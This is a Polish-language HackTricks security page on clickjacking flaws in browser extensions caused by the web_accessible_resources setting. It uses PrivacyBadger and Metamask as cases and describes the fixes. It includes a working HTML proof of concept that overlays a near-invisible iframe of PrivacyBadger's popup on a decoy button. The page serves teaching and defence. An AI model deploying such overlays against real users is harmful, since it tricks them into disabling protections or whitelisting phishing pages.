7.5 KiB
BrowExt - ClickJacking
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Kup oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.
Podstawowe informacje
Ta strona będzie nadużywać podatności ClickJacking w rozszerzeniu przeglądarki.
Jeśli nie wiesz, czym jest ClickJacking, sprawdź:
{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}
Rozszerzenia zawierają plik manifest.json
, a ten plik JSON ma pole web_accessible_resources
. Oto, co dokumentacja Chrome'a mówi na ten temat:
Te zasoby będą dostępne na stronie internetowej za pomocą adresu URL
chrome-extension://[ID PACZKI]/[ŚCIEŻKA]
, który można wygenerować za pomocą metodyextension.getURL
. Zasoby na białej liście są serwowane z odpowiednimi nagłówkami CORS, więc są dostępne za pomocą mechanizmów takich jak XHR.1
Zasoby web_accessible_resources
w rozszerzeniu przeglądarki nie są dostępne tylko przez sieć; działają również z uprawnieniami wbudowanymi w rozszerzenie. Oznacza to, że mają zdolność do:
- Zmiany stanu rozszerzenia
- Ładowania dodatkowych zasobów
- Współdziałania z przeglądarką do pewnego stopnia
Jednak ta funkcja niesie ze sobą ryzyko bezpieczeństwa. Jeśli zasób w web_accessible_resources
ma jakąkolwiek istotną funkcjonalność, atakujący może potencjalnie osadzić ten zasób w zewnętrznej stronie internetowej. Niespodziewani użytkownicy odwiedzający tę stronę mogą niechcący aktywować osadzony zasób. Taka aktywacja może prowadzić do niezamierzonych konsekwencji, w zależności od uprawnień i możliwości zasobów rozszerzenia.
Przykład PrivacyBadger
W rozszerzeniu PrivacyBadger zidentyfikowano podatność związana z deklaracją katalogu skin/
jako web_accessible_resources
w następujący sposób (Sprawdź oryginalny post na blogu):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Ta konfiguracja doprowadziła do potencjalnego problemu z bezpieczeństwem. W szczególności plik skin/popup.html
, który jest renderowany po interakcji z ikoną PrivacyBadger w przeglądarce, mógłby być osadzony wewnątrz elementu iframe
. To osadzenie mogłoby zostać wykorzystane do wprowadzenia użytkowników w błąd, aby przypadkowo kliknęli na "Wyłącz PrivacyBadger dla tej witryny". Takie działanie naruszałoby prywatność użytkownika poprzez wyłączenie ochrony PrivacyBadger i potencjalnie naraziłoby użytkownika na zwiększone śledzenie. Wizualna demonstracja tego ataku może być obejrzana w przykładowym filmie ClickJacking dostępnym pod adresem https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Aby rozwiązać tę podatność, zastosowano prosty sposób: usunięcie /skin/*
z listy web_accessible_resources
. Ta zmiana skutecznie zmniejszyła ryzyko, zapewniając, że zawartość katalogu skin/
nie mogła być dostępna ani manipulowana poprzez zasoby dostępne w sieci.
Naprawa była prosta: usuń /skin/*
z `web_accessible_resources.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Przykład Metamask
Post na blogu o ClickJacking w Metamask można znaleźć tutaj. W tym przypadku Metamask naprawił podatność, sprawdzając, czy protokół używany do dostępu to https:
lub http:
(a nie na przykład chrome:
):
Inny naprawiony ClickJacking w rozszerzeniu Metamask polegał na tym, że użytkownicy mogli kliknąć, aby dodać do białej listy, gdy strona była podejrzana o phishing z powodu “web_accessible_resources”: [“inpage.js”, “phishing.html”]
. Ponieważ ta strona była podatna na Clickjacking, atakujący mógł ją wykorzystać, pokazując coś normalnego, aby zmusić ofiarę do kliknięcia, aby dodać ją do białej listy, nie zauważając tego, a następnie wrócić do strony phishingowej, która zostanie dodana do białej listy.
Przykład Steam Inventory Helper
Sprawdź następującą stronę, aby zobaczyć, jak XSS w rozszerzeniu przeglądarki został połączony z podatnością na ClickJacking:
{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}
Referencje
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.